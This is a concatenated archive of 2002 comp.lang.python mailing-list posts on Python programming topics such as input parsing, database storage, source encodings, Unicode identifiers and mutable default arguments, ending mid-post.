Ritchie" writes: > > Can we assume that you would reindent the code to fit the surroundings > > if you were writing in e.g. C also? > But of course the point is that if you didn't quite do it just exactly > right, but left whatever block delimiters the language had in place, > it would not have a disastrous effect on the execution logic. If you didn't do it right, though, you have a different problem, which is (best case) that your code is hard to read or (worst case) that your code appears to a casual reader do one thing when in fact it does something else. One of the great virtues of Python's syntax is that it means exactly what it looks like it means. From sonyi at chollian.net Mon May 13 19:26:21 2002 From: sonyi at chollian.net (young-il sohn) Date: 13 May 2002 16:26:21 -0700 Subject: How can I convert a string using re.compile Message-ID: <11b62679.0205131526.5f1b6fed@posting.google.com> How can I convert the string 'a = [1 2 3;4 5 6;6 7 8]' to other string 'a = [[1,2,3],[4,5,6],[7,8,9]]' ? Numeric values can have various forms such as 3.2, -4, 3e+3, 3e-2, 3E+10, 3E-2 and so on. Space can be inserted in the list. From schitz0boy at hotmail.com Mon May 27 22:41:38 2002 From: schitz0boy at hotmail.com (Corey Woodworth) Date: 27 May 2002 19:41:38 -0700 Subject: Newbie Database. References: <24d8090a.0205270854.6cadc50b@posting.google.com> Message-ID: <24d8090a.0205271841.19cc5011@posting.google.com> "Gillou" wrote in message news:... > "Corey Woodworth" a ?crit dans le message news: > 24d8090a.0205270854.6cadc50b at posting.google.com... > > How should I save my database file for instance? I was thinking a text > > file full of strings like this perhaps: > > > > songname::artist::performer::filename:: ... ... > > You'd better use a real database engine rather than a flat formatted file. > "Many to 1", "1 to many" or (better) "many to many" relations are very > difficult to handle in a flat text file. Even in XML, it's quite hard to > handle. Yeah I had a feeling that it would be cumbersome. Do you know of any database engines that are easily controlled by python and/or easy to learn :) I've never really been exposed to them before. > > > > But I think there are probably better ways. Are there any tutorials on > > databases? Modules I should look into? Similar python programs that I > > should read the sources for? > > Start here to have some enlightenments on how to use databases from python: > > http://www.python.org/sigs/db-sig/ I'll definetly check that out. Thanks. > But you should first focus on your database design/structure before diving > into the python code. Thats my plan :) This definetly calls for tons of psuedo-code. I just don't really know where to start. > > > > Thanks in advance! > > > > Welcome > > > Corey From philh at comuno.freeserve.co.uk Tue May 21 08:30:32 2002 From: philh at comuno.freeserve.co.uk (phil hunt) Date: Tue, 21 May 2002 13:30:32 +0100 Subject: Licensing question References: <3ce8614f_5@nopics.sjc> Message-ID: On Mon, 20 May 2002 21:25:34 -0700, James J. Besemer wrote: > >Adonis wrote: > >> any feedback would be greatly appreciated. > >Python creator Guido van Rossum has said publicly: > > It's OK to want to make money. > >I always favorably impressed that he took steps in the licensing to allow >commercial spin-offs using Python technology, instead, say, of trying to lock >derivatives in the public domain ala Stallman's CopyLeft. (1) Copylefted software isn't public domain (2) copylefted software doesn't forbid commercial spin offs. -- <"><"><"> Philip Hunt <"><"><"> "I would guess that he really believes whatever is politically advantageous for him to believe." -- Alison Brooks, referring to Michael Portillo, on soc.history.what-if From quinn at regurgitate.ugcs.caltech.edu Thu May 23 14:45:01 2002 From: quinn at regurgitate.ugcs.caltech.edu (Quinn Dunkan) Date: 23 May 2002 18:45:01 GMT Subject: Emulating Pascal input References: Message-ID: On Wed, 22 May 2002 12:03:20 +0100, Michael Williams wrote: >######### Python code ########### ># Either: stdin >linestring = raw_input() > ># Or: file >linestring = f.readline() I would suggest: f = sys.stdin f.readline() f = open('input') f.readline() to emphasize that they are the same operation. >linelist = string.split(linestring) >x = int(linelist[0]) >y = int(linelist[1]) > ># Or perhaps >linestring = raw_input() >x,y = string.split(linestring) # x and y are now strings eg. '1' > # and '2' >x = int(x) >y = int(y) This is easier to write as: x, y = map(int, f.readline().split()) If the input is in the wrong format, python will automatically throw a nice error message for you. I'm not sure what the pascal will do in case of error. >I have been attempting to write such a function in Python but have been >struggling with (a) the lack of pointers, and (b) my total ignoarnce of >classes, which I suspect would be helpful. Here's what I have so far classes are not likely to be helpful, I think you just want a utility function :) >(although note there is no error handling--give it a string response and >it falls over and dies, give it the wrong number of responses and it >falls over and dies, etc., etc.): Falling over is what error handling is all about, isn't it? I thought you didn't have error handling when errors were silently ignored, and your program blew up later (as C and perl tend to do), and you did have error reporting when errors were detected and reported in an orderly fashion, and had to be handled. >############ ninput.py ############ > >import string > >def ninput(n, fin = None, prompt = '', sep = None): > > # If not file input then get string from stdin, else get from file > if fin == None: linestring = raw_input(prompt) > else: linestring = fin.readline() > > # Split up into list with optional seperator argument > responses = string.split(linestring, sep) > > for i in range(len(responses)): > if '.' in responses[i] or 'e' in responses[i] or \ > 'E' in responses[i]: > # i.e. if it looks like a float > responses[i] = float(responses[i]) > else: > # i.e if it doesn't look like a float > responses[i] = int(responses[i]) > > # If there was only one response then don't return a list. > if len(responses) == 1: responses = responses[0] > > return responses[:n] Wow, that's complicated. I'd write this as something like: def read_floats(fp): return map(float, fp.readline().split()) I'd suggest that it's better style to only return one type rather than make the caller figure it out for itself. >#################################### > >And here is a usage example: >>>> x, y = ninput(2) >5 6.0 >>>> print x, type(x) >5 >>>> print y, type(y) >6.0 > >This has the limitation that the user must pass the number of results >they expect back. This is done implicitly in the Pascal version too (the >number of variables passed to the function). However, error checking is >difficult as this version stands. In this version, the user specifies how many results he expects on the left side of the '='. If there is an error (too many, too few), that will be flagged and reported. If you want to handle it, catch ValueError: while 1: try: x, y = read_floats(sys.stdin) except ValueError, x: print 'bad input:', x else: break >This is possibly what should be expected. However, passing the numerical >argument representing the number of results expected does not strike me >as a particularly graceful solution. We would prefer something like the >Pascal way, where the global variables in which the results are to be >stored are passed as parameters. Can anyone suggest a way of doing this? Yeah, just leave out the numerical argument :) Python is one of those languages that espouses returning values by returning them, rather than returning them with "out" parameters (personally I've never quite understood the logic of that one, except in a prolog-ish situation), so if you're thinking in terms of "out" parameters, it's going to fight you. Give in. Use return values. C'mon, everyone's doing it. >And if such an equivalent to the Pascal construct was implemented, what >would be the chances of getting it included in, say, the string module >of core Python. We would like such a function but would be reluctant to >use it as we would then be teaching our students a ``dialect'' of >Python. Writing a few utility functions doesn't relegate you to dialect backwoods. Everyone has a library of generic utilities they collect over time. Small reusable utilities are one of the things dynamic languages like lisp and python are about. Just make a mike_util.py and have your students import it, or import it in site.py. From aahz at pythoncraft.com Wed May 15 16:22:04 2002 From: aahz at pythoncraft.com (Aahz) Date: 15 May 2002 16:22:04 -0400 Subject: OT: Crazy Programming References: <23891c90.0205130956.6f0436a0@posting.google.com> Message-ID: In article <23891c90.0205130956.6f0436a0 at posting.google.com>, Paul Boddie wrote: > >This is one thing I strongly dislike about the "Perl attitude" to >programming, along with the "coding is an art not a science" viewpoint >and the "code is poetry" school of thought. Programming and coding are >(or should mostly be) sciences or engineering practices which we >should strive to get right every time - programmers and developers >are, after all, writing instructions for machines which pretty much >have to do the right thing all the time, not just when it's "cool" to >do so (or not to do so). I'm in the "programming is craft" camp. Any time we write a new program, there's an element of human interface to consider; that can never be primarily a function of engineering. But we can all strive to learn best practices like a cook or woodworker, and we can pick up new tools as they become available. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "usenet imitates usenet" --Darkhawk From aleax at aleax.it Sat May 4 02:10:44 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 04 May 2002 06:10:44 GMT Subject: Insert blob data to MySQL References: Message-ID: Steve Holden wrote: ... >>>> s = "string data but it could be anything" >>>> cc.execute("""INSERT INTO blobtbl (b) VALUES(%s)""", (s,)) > 1L If s is 'anything' (e.g., a cPickle.dumps with binary option set), MySQLdb.escape_string(s) is likely to work better than plain s as the value to put in the tuple that's execute's second arg. BTW, with PostgreSQL, recent releases (since 7.1 I believe, i.e., since 'toast' was integrated in the mainstream codebase), you can use basically the same approach, except you call the field type BYTEA rather than BLOB and psycopg.Binary(s) is the function you call to 'escape' the bytestring to place there. In both cases there is an alternative that hinges on "loading a data file" (server-side) via a nonstandard SQL function (LOAD_FILE in MySQL, LO_IMPORT in PostgreSQL) but almost always there are too many pitfalls with that (you do need to get the data to the DB server machine, which hampers architectures based on client and server DB processes on separate machines; you need special privileges in the database; with LO_IMPORT, you need the data field to be of special type OID; ...) so I wouldn't follow that route. Alex From magnus at thinkware.se Wed May 15 10:52:02 2002 From: magnus at thinkware.se (Magnus =?ISO-8859-1?Q?Lyck=E5?=) Date: Wed, 15 May 2002 16:52:02 +0200 Subject: Multibyte Character Surport for Python References: Message-ID: <3CE27612.6000708@thinkware.se> Jacob Hallen wrote: > I am Swedish and English is not my first language. Me too. :) > My view is that Python source code should be UTF-8, so that you can represent > multilingual strings in a readable way. However, I still think that > identifiers should be limited to ASCII. I agree with Alex in that it's usually best to use English in programming for many reasons. Although one could argue whether it should be policy or a python limitation that determine how you write identifiers. I think it might be better if we could decide such things through discussions and project policies, rather than through programming language limitations. I do see two reasons to allow national identifiers: 1. The closer a piece of source code describes the actual problem it is meant to handle, the better it is. We all know the virue of choosing good variable names etc. In customer specific, large software dvelopment projects, there are often a lot of project specific terminology, and big glossaries that are used to describe parts of the problem domain in detail. For instance I've worked in state authorities that have a lot of laws and regulations that control the things that the programs will do. In these situation, running the entire project in English is not an option. The Swedish law is still written in Swedish ;). Translating the whole project glossary for the sake of a programming language is not a good thing. It's enough to learn the terminology of the end users if you are a programmer. If you also have to learn a second set of synonyms that doesn't make sense to the end users, you will be bound to make more mistakes in the code. For Swedish it's not a huge problem. You write ??? like aao, and it looks a bit ugly, but most of the time you understand what is meant. In the worst case you write aa, ae, oe instead. In other languages, US ASCII might be much more limiting and problematic. 2. I think a real programmer must know English. It's as simple as that. Just as en good electronics engineer needs English, and doctors need some Latin. Without it you are isolated from your peers. But if we want to see Python as a tool for non-programmers and beginners, things are a bit different. For me it's just been annoying that Swedish Excel macros used "om" and "medan" instead of "if" and "while", but we have to realize that we can't place the same requirement on a beginner or a casual user, as we can on a pro. Again, I don't think it's a big issue in Sweden and similar countries, both because the alphabet is so similar, and because most people here know English, but for many people, lack of English knowledge will be the big hurdle in learning Python. To be able to REALLY utilize python, they would need to know enough english to understand how the library modules are used, so allowing Unicode identifiers is just a small relief, but I can sell imagine that it would matter for people like Steven's Japanese students... The main issue in my opinion has nothing to do with Python, but with operating systems, internet standards, editors and all this other junk that assumes that anything except US ASCII is some kind of obscure things that we can disregard. If our general computer environments were adapted to Unicode and able to let us enter and display all symbols on all computers, the issue of Python identifiers might be an issue to consider. Before that is solved, it would probably create more problems than it solves. There is a general problem of "cultural imperialism" to consider here, and I think we all need to understand the cultural and social problems involved in "forcing" people to use English, whatever we personally think about it. It's certainly easier for everybody to learn one second common language, than to all learn all the other languages, and I don't think Esperanto or Interlingua will have a chance in beating English as a Lingua Franca. Still, many people resist and try to fight anglification--on different levels. > Jacob Hall?n BTW, thanks for the effort to form Python Business Forum. I hope it will make some impact. (You don't remember me do you? GothCon IV to ..., CD 88-90 etc... No, I didn't think so... ;^) /Magnus Lyck? From simon at nospam.demon.co.uk Sun May 5 03:45:51 2002 From: simon at nospam.demon.co.uk (Simon Foster) Date: Sun, 5 May 2002 08:45:51 +0100 Subject: Python Cookbook (printed) References: <3cd472d2$0$8508$cc9e4d1f@news.dial.pipex.com> <3CD479DC.67155DE4@bellatlantic.net> Message-ID: <3cd4e330$0$230$cc9e4d1f@news.dial.pipex.com> "Alex Martelli" wrote in message news:mZ4B8.5120$zW3.135839 at news1.tin.it... [ Some stuff about the Python Cookbook ] Thanks for the info Alex. I, for one, will be in the queue. From nick at huff.org.uk Fri May 10 14:04:57 2002 From: nick at huff.org.uk (Nick Evans) Date: Fri, 10 May 2002 18:04:57 +0000 (UTC) Subject: accessing serial/parallel port from Python Message-ID: Hello group, Could anyone tell me if it is possable to access the Physical ports of a computer from python. I have a few electronic projects that i originally wrote programes in QBasic to access them, but i would like to start using python. Cheers in advance Nick Evans From coady at bent-arrow.com Fri May 10 15:39:46 2002 From: coady at bent-arrow.com (Coady) Date: 10 May 2002 12:39:46 -0700 Subject: ANN: set-0.1 module available Message-ID: I'd like to announce the availability of set-0.1: an extension module for Python 2.2+ which implements a set type. It's similar to the specification in PEP 218. You can find it in the Vaults of Parnassus or more directly at: http://bent-arrow.com/python Comments are welcome, -Coady From never at mind.info Fri May 24 12:38:51 2002 From: never at mind.info (G. Willoughby) Date: Fri, 24 May 2002 17:38:51 +0100 Subject: Grabbing data from my motherboard thermistor? Message-ID: Is it possible using Python to grab the temperature from the cpu thermistor on my motherboard? What module would i use/hunt for? If poss i wanna code a heat monitor. --g From stephen at xemacs.org Sat May 11 09:07:52 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 11 May 2002 22:07:52 +0900 Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: Message-ID: <873cwyg7dj.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "David" == David LeBlanc writes: >> "David LeBlanc" writes: >> >> > Firstly it's NOT "invalid xml". It IS a well formed xml tag! >> >> It is well-formed, but it is invalid - check the XML spec. It >> violates at least one validity constraint, namely that the root >> element must be declared. David> XML is used far more often in "well formed" contexts than David> in "valid" contexts. This is hair splitting. But the whole file is not well-formed, either. So how is your hypothetical (we Emacs users at least have an existence proof) XML-grokking programmer's editor going to find it? It will have to be as ad hoc as the Emacs convention. It's not going to be something that "falls out" naturally from the editor analyzing the file. In that context, I think Martin's argument that the Emacs-style cookie is easier to type is pretty strong. BTW, how many of the editors you suggest actually can do anything with the coding cookie? Only Emacs and VIM that I know of can actually switch encodings. The rest of the (admittedly, all Unix) editors simply operate in the platform environment, and depend on the console or windowing system to deal with coding for them. [OT David> Yes emacs runs on many platforms. On most of them, poorly David> and with a reduced feature set (this is certainly true of David> my several experiments with using emacs and xemacs on David> Windows). When did you last try XEmacs? Although I detest Windows, I do try XEmacs for Windows occasionally, and I find the claims of the Windows maintainers that Windows functionality now exceeds Unix functionality plausible, although I disagree.] >> Also, the PEP accommodates notepad.exe, by recognizing UTF-8 >> signatures. Which, sigh, actually violates the Unicode standard. (The standard requires that for UTF-8 and UTF-{16,32}{LE,BE} a leading ZERO-WIDTH NO-BREAK SPACE be considered exactly that, and it may not be filtered.) David> Actually, for something as important as encoding, I think David> using "smart comments" for a feature that is known to the David> compiler is a mistake _Actually_, it should not be known to the translator. That the interpreter knows anything about coding at all is a backward compatibility kludge. In fact, it is not really possible to do coding detection as part of the parsing of the file. Note that the XML spec itself requires that implementations detect the BOM, and interpret it as a UTF-16 signature. Only then can the implementation properly lex, detect, and validate the (required) encoding declaration. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From weeks at vitus.scs.agilent.com Tue May 14 15:35:10 2002 From: weeks at vitus.scs.agilent.com (Greg Weeks) Date: Tue, 14 May 2002 19:35:10 +0000 (UTC) Subject: get/set References: <20020510184436.4cbc7313.wilk@flibuste.net> Message-ID: <1021404910.199672@cswreg.cos.agilent.com> William Dode (wilk at flibuste.net) wrote: : coming from java, i use to do a lot of get set method and make all the : variable as private. : class Toto: : def getA(self): return self._a : def setA(self,v): self._a=v : ... : Shall i do like that in python ? Putting aside __getattr__, __setattr__, __getattribute__, properties, and __slots__, then whether or not you define get/set methods is a matter of style, just as in Java and C++. As in Java and C++, I consider it to be good style. Greg PS: As for the slew of additional possibilities mentioned in the previous paragraph: Python is still nicer than Perl, so it is of the utmost importance that more constructs be added to allow us to do the same things (or marginally different things) in new ways. We should strive to make our 2.2 code as unique and foreign to 1.5.2 style as humanly possible. More constructs! Terser code! TIMTOWTDI! From john100uka at NOSPAMhotmail.com Sat May 11 08:50:13 2002 From: john100uka at NOSPAMhotmail.com (John) Date: Sat, 11 May 2002 13:50:13 +0100 Subject: Python and yahoo chat protocol Message-ID: Is there anyone here who is familiar with python and the yahoo chat protocol? The reason I ask is I have a python chat client and it no longer logs into chat. I think it may have something to do with a recent change to the log in procedure. Anyway if anyone can help it would be much appreciated. Thanks remove nospam to contact me john100uka at NOSPAMhotmail.com From tdelaney at avaya.com Wed May 29 22:09:43 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 30 May 2002 12:09:43 +1000 Subject: Why no open(f, "w").write()? Message-ID: > From: Kragen Sitaker [mailto:kragen at pobox.com] > > "Delaney, Timothy" writes: > > You should never rely on automatic freeing of *any* > resources unless it is > > guaranteed. Always explicitly free resources when you have > finished with > > them. > > You mean, assume you have no garbage collector? If I had to do that, > my Python code would get a *lot* more complex. Change that to "any resources not controlled by the system itself". Python does not in fact guarantee a garbage collector, but does not provide any mechanisms for freeing memory, so an implementation which did not free memory would not be broken according to the documentation, but would be in practice. Likewise, Python does not provide any mechanism for explicitly allocating memory. Memory is controlled by the Python system. OTOH, Python also makes no guarantees about finalisation, and this is of course what I was referring to. Files are not a resource controlled by the Python system. Python makes no guarantees that opened files will be closed. Likewise sockets, spawned processes, etc. Tim Delaney From menscher+python at uiuc.edu Sun May 26 00:28:40 2002 From: menscher+python at uiuc.edu (Damian Menscher) Date: Sun, 26 May 2002 04:28:40 GMT Subject: Bug?? reusing objects Message-ID: The following test program demonstrates what I believe is a bug: ------------------------------------------------------------- #!/tmp/Python-2.2.1/python class foobar: def __init__(self, string=[]): self.data = string def add(self, new=""): self.data.append(new) a = foobar("foo") print a.data a = foobar("bar") print a.data a = foobar() print a.data a.add("foo") a.add("bar") print a.data a = foobar() print a.data ### returns ['foo', 'bar'] for me ### I'd expect it to return [] ------------------------------------------------------------- If this is expected behavior, could someone please explain it? Otherwise, I'll be happy to file a bug report. Damian Menscher -- -=#| Physics Grad Student & SysAdmin @ U Illinois Urbana-Champaign |#=- -=#| 488 LLP, 1110 W. Green St, Urbana, IL 61801 Ofc:(217)333-0038 |#=- -=#| 1429 DCL, Workstation Services Group, CITES Ofc:(217)244-3862 |#=- -=#| www.uiuc.edu/~menscher/ Fax:(217)333-9819 |#=- From see at below Tue May 7 22:15:01 2002 From: see at below (Paul Foley) Date: 08 May 2002 14:15:01 +1200 Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> Message-ID: On 08 May 2002 14:03:43 +1200, I wrote: > Binding is the association between a name and a chunk of memory which > is used to store a PyObject pointer, if you insist on looking at it > that way. Assignment is just changing the value stored there. Minor editing error; what I meant to say was: A binding is the association between a name and a value, which is a chunk of memory ... -- You have been evaluated. You have a negative reference count. Prepare to be garbage collected. Persistence is futile. -- Erik Naggum (setq reply-to (concatenate 'string "Paul Foley " "")) From sean.mcgrath at propylon.com Fri May 3 15:28:43 2002 From: sean.mcgrath at propylon.com (Sean McGrath) Date: Fri, 03 May 2002 20:28:43 +0100 Subject: Synchronization mixin in Python anyone? In-Reply-To: <20020503191602.25985.29484.Mailman@mail.python.org> Message-ID: <5.1.0.14.0.20020503202248.037d5418@mail.digitome.com> The Zope system contains a Synchronization mixin class for thread synchronization written in C. Derive a class from Synchronized and any mythod calls on an instance of the class are thread safe. Does anybody know of any Python implementation? The C version exhibits "interesting" refcounting behavior I need to work around. regards, Sean McGrath From hzhu at mars.localdomain Mon May 20 02:32:52 2002 From: hzhu at mars.localdomain (Huaiyu Zhu) Date: Mon, 20 May 2002 06:32:52 GMT Subject: OT: Crazy Programming References: Message-ID: On Sun, 19 May 2002 15:20:00 -0400, Steve Holden wrote: >"Huaiyu Zhu" wrote ... >> >Well, perhaps he was arguing that such instruments represent an extension to >the human senses. Before charging the epistomological barricades, however, >you should consider whether Christopher isn't trying to represent the same >point of view promnoted by (for example) Bertrand Russell. The point is that >the only basis we ever have for knowledge is the interpretation of >sense-data - quite simply, the human organism isn't built to accept >information in any other way. I actually understand his point (but I really dislike his argument). >Thus, no matter how sophisticated the "amplification" of our senses provided >by instrumentation, there is really no way to conclude whether our >interpretation relates to an "objective reality", since even if we assume >that there *is* such a thing as objective reality we have no way to perceive >it other than by interpretation of sense-data. > >But we have no way to distinguish between physical properties and social >interactions, since the only ways we can communicate involve agreement about >the ground-rules. It is, for example, very difficult to engage in >philosophical discussions with a determined solipsist, who sees all >perceptions as generated by the operation of her own senses - that is, >"objective reality" is produced by the operation of the human brain. >Therefore you are, to a solipsist, simply a manifestation of their own >thought processes, and have no objective (i.e. external) reality atr all. I would not want to argue with a solipsist at all. I would just agree completely with her, that the whole world, including myself, is merely an illusion generated in her mind. But it is very interesting to observe that these "illusions" have certain patterns and predictabilities. You could reason about them *as if* they are real objects. Of course they are all illusions, but you could observe that some illusions are more likely to be confirmed by your later illusion than others. For example, if you have the illusion that you are puting your hand in fire, it is very unlikely for you to experience an illusion of not being hurt afterwards. If she plays with illusions as a scientist observing nature, she might get some illusions as if she discovered some laws of nature. If she played with illusions of persuing consistency in her reasoning, she might get the illusion of studying mathematical structures. Illusions with such properties are intriguing and interesting and useful as precursors of other satisfying illusions, such as humans being able to build machines that work for them. Of course all these would just be her imagination, and I'd completely agree with her. I'd just like to drop the word illusion from all these sentences for brevity, as they are everywhere and can be pasted back whenever necessary. At this point she might get the illusion that her illusion of me have been arguing with her all the time. Of course, my tricky stubbornness is only in her imagination. Huaiyu From stephen at xemacs.org Wed May 22 00:19:49 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 22 May 2002 13:19:49 +0900 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> <838z6epblf.fsf@panacea.canonical.org> <3CE9BC7F.A3565ADE@tundraware.com> <3CE9C990.3064C01C@cascade-sys.com> <3CE9DEEE.96554CE2@tundraware.com> <3CEA7B5C.181E761C@noaa.gov> Message-ID: <87y9ec95lm.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "James" == James J Besemer writes: James> Fact of the matter, the simple secret of success in James> business is to figure out what your customers want and to James> give it to them for a better price than your competition James> can. And the more complex secret to success in "Big" business is to foster monopoly by figuring out ways to prevent your customers from migrating to rivals (preferably backed by the government). Microsoft puts an enormous amount of effort into (1) legal devices and (2) being gratuitously different (often in destructive ways---character set standard non-conformance being an example that has cost yours truly _much_ pain). Both of these are purely losses to the economy; you can only argue they're related to net gain because on balance Microsoft's market power is beneficial by enforcing standards ("any color you want, as long as you want black") and accumulating capital to support expensive development. Your argument that Microsoft-enforced desktop standardization is very beneficial is plausible, but let's not confuse "Microsoft is on balance good for the world" with "Microsoft is always acting with the overall good of consumers in mind." James> And the reason their APPs dominate is because they've James> worked on continually refining and improving them for James> almost 20 years. But "refine and improve" is not absolute, it's relative to rivals. So that includes bludgeoning or buying competitors, and deliberately using "worst practice" development strategies (monolithic OS, for example) which enhance market power while degrading the product. Not to mention FUD like trumpeting the "Orange Book C2" security rating of the Windows NT kernel, while somehow neglecting to note that installing Word or plugging in the ethernet card violates the assumptions of a C2 rating. Of course Microsoft _also_ put vast resources into producing "good enough" software across the board, and maybe even occasional "best of breed" implementations. James> It's going the next step beyond that and unnecessarily James> demonizing the opposition which I find tiresome. Microsoft is not the threat that the rabid slashdotters claim. But Microsoft got big by directing its strategy at beating (or beating up) the competition, not at satisfying the customer. Sometimes those are the same. Sometimes they aren't. There may be big social gains to reining in Microsoft (and maybe there aren't, of course, since doing so requires the presence of Big Government). >> The only thing that scares me about Big Government is that is >> is being controlled more and more by Big Corporations. James> That's why everyone should fear big government. Maybe. I fear Big Government just because it's Big. Big entities are vulnerable to Big mistakes. Those mistakes can be issues of fairness, as you point out, but they can equally well be simply destructive. Biodiversity in each ecological niche is good for the ecosystem, and other things being equal, economic diversity in each market is good for society. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From cliechti at gmx.net Fri May 24 18:33:48 2002 From: cliechti at gmx.net (Chris Liechti) Date: 25 May 2002 00:33:48 +0200 Subject: Print precision? References: Message-ID: Damian Menscher wrote in news:awiH8.10159$U7.121015 at vixen.cso.uiuc.edu: > I'm debugging my program that depends on the Numeric/LinearAlgebra > packages. In order to get an idea of what is going on, I just use > lots of print statements. But when you're printing a largish > (32x32) matrix, the 8 decimal places given by default can take > more space than they're worth. Is there a simple way to cut this > down to a more reasonable value (like zero)? > > I guess I *could* write a function that prints each element > separately.... > for i in range(32): > print "%.1f %.1f %.1f %.1f ..."%(m[i,0], m[i,1], m[i,2]....) > But that just seems silly. how about a function and map: print ' '.join(map(lambda x: "%.1f" % x, m)) > On a related note, is there a way to change the default line width? > Even if I expand my xterm to 200+ chars, Python wraps the matrix > output at 80. never heard of such a restriction. do you use a specific function or "print"? have you tried to resize first and then start python? chris -- Chris From kragen at pobox.com Fri May 31 20:50:24 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 31 May 2002 20:50:24 -0400 Subject: Making Programs Executable References: <63f2fcbe.0205292047.18fa7fcf@posting.google.com> <3CF7BD50.6080107@verio.net> Message-ID: <836613zusv.fsf@panacea.canonical.org> VanL writes: > In vi, instead of > !#/usr/bin/env python You mean #!, not !#. > you will see > !#/usr/bin/env python^M Unless you're using vim, like any sane vi user on Slackware or Red Hat will. Vim will happily conclude you're editing a file with CRLF line endings, stripping them on input and adding them again on output. From pcc at ecet.vtc.edu Wed May 22 10:32:18 2002 From: pcc at ecet.vtc.edu (Peter) Date: Wed, 22 May 2002 10:32:18 -0400 Subject: Destructor References: Message-ID: In article , shalehperry at attbi.com says... > when in doubt fire up the python shell and test (-: The problem with an approach like this is that it really only demonstrates what one particular implementation does. In cases where the language definition allows for variations among implementations, it would be easy to conclude more than you should about what is guaranteed to happen everywhere. This is not not say that trying things out is a waste of time. However, it shouldn't really be considered the definitive statement of language behavior. In other words: you can't write portable programs based on what a particular implementation does or does not do. I realize that these comments are, perhaps, irrelevant for a language like Python since the reference implementation, to some extent, defines the language itself. However, this is a very important issue for any language defined by a formal document. For example, the C++ standard leaves certain things "unspecified" so that implementations can choose different behaviors as appropriate for each platform/market/etc. It also allows for language extensions. Thus if any particular implementation exhibits behavior X there is no guarantee that any other implementation will do the same. One must consult the standard to know what is and is not portable behavior. Peter From brian at sweetapp.com Sat May 4 16:15:07 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Sat, 4 May 2002 13:15:07 -0700 Subject: making python scripts backwards compatible In-Reply-To: <13285ea2.0205041128.51eda313@posting.google.com> Message-ID: <008401c1f3a8$63eebc50$445d4540@Dell2> J.Jacob wrote: > I could not > upgrade the remote computer (no root access) and even if i > could the problem would come up soon again when the > (mobile agent-)program relocated. If you were just trying to solve this problem for a single machine, you can always install your own version of Python in your home directory. That's what I do on for my web hosting account. > So the request is this: > > If you write code that could be used by people or systems > based on python 1.5.2 please make sure your code is > backwards compatible to 1.5.2. If that is too much work, > please mention the python version you need to use it > somewhere in the top of your source. Especially for > networking software. This is a completely unreasonable request, which Guido fielded in -dev recently; he pointed out that there is little point in adding language features to Python if development is anchored to old language versions. Also, most modules are authored by volunteers, who probably have little interest in making their modules work on ancient Python installations. They might not even have Python 1.52 installed. Cheers, Brian From usenet at thinkspot.net Sat May 18 12:31:10 2002 From: usenet at thinkspot.net (Sheila King) Date: Sat, 18 May 2002 09:31:10 -0700 Subject: 2nd Request: Looking for Perl module equivalent Message-ID: Well, I thought I'd ask one more time before I bugger off and go away. Apparently there is a handy Perl module Proc::ProcessTable for handling the process table on Unix. Does anyone know of a similar Python module? Thanks for any insights into this matter, -- Sheila King http://www.thinkspot.net/sheila/ http://www.k12groups.org/ From lac at strakt.com Wed May 15 20:27:26 2002 From: lac at strakt.com (Laura Creighton) Date: Thu, 16 May 2002 02:27:26 +0200 Subject: OT: Crazy Programming In-Reply-To: Message from Cliff Wells of "Wed, 15 May 2002 15:24:08 PDT." <20020515152408.6d461b72.logiplexsoftware@earthlink.net> References: <20020515152408.6d461b72.logiplexsoftware@earthlink.net> Message-ID: <200205160027.g4G0RQrW020943@theraft.strakt.com> Cliff Wells: > > There can never be an "objective" view of art. It either speaks to you or it > doesn't, but that is entirely subjective (unless of course you can prove > that a particular piece speaks to no one). > Have you read Christopher Alexander's _The Timeless Art of Building_? 'The Quality Without a Name' -- entirely subjective ? Laura Creighton From alanmk at hotmail.com Thu May 23 05:44:02 2002 From: alanmk at hotmail.com (Alan Kennedy) Date: 23 May 2002 02:44:02 -0700 Subject: [ANN] Puffin: Web Application Testing Framework References: <9c152b57.0205221046.64a14cb8@posting.google.com> Message-ID: usenet123 at samba-choro.com.br (Paulo Eduardo Neves) wrote in message news:<9c152b57.0205221046.64a14cb8 at posting.google.com>... > "A. Keyton Weissinger" wrote in message > > I'm looking for any and every way I can make Puffin better. So don't > > > hesitate to contact me if you find a bug or think of a feature you want. I > > > will make whatever time is required to make Puffin better fit > > > your needs and > > > its purpose! > > How does Puffin compares to httpunit? > http://httpunit.sourceforge.net/ Another comparable project is the Apache Latka project, written in Java, which uses XML comfiguration files to test HTTP conversations. http://jakarta.apache.org/commons/latka/index.html I haven't had enough time to look at either Latka or Puffin, but I do intend to start using one of them soon. I like the idea of Puffin, because it's pure python. IMHO, Python is far superior to Java for this type of application, principally because of the ability to dynamically extract strings/numbers from the returned resource, turn them into a piece of python code by simple string manipulation, and 'eval()' it into a result which can be directly acted upon. I'll be looking closely at Puffin. Regards, Alan Kennedy. From spam at nospam.com Wed May 22 18:27:53 2002 From: spam at nospam.com (sidewinder) Date: Wed, 22 May 2002 22:27:53 GMT Subject: wincvs and python question References: <9IaG8.455$vhi2.48234687@news2.randori.com> <3CE940EF.4F02389F@engcorp.com> Message-ID: I not a python guru at all. I believe that it is trying to launch a tcl script. If the macros work it's really a nice interface to cvs from windows. www.wincvs.org "Peter Hansen" wrote in message news:3CE940EF.4F02389F at engcorp.com... > sidewinder wrote: > > > > File 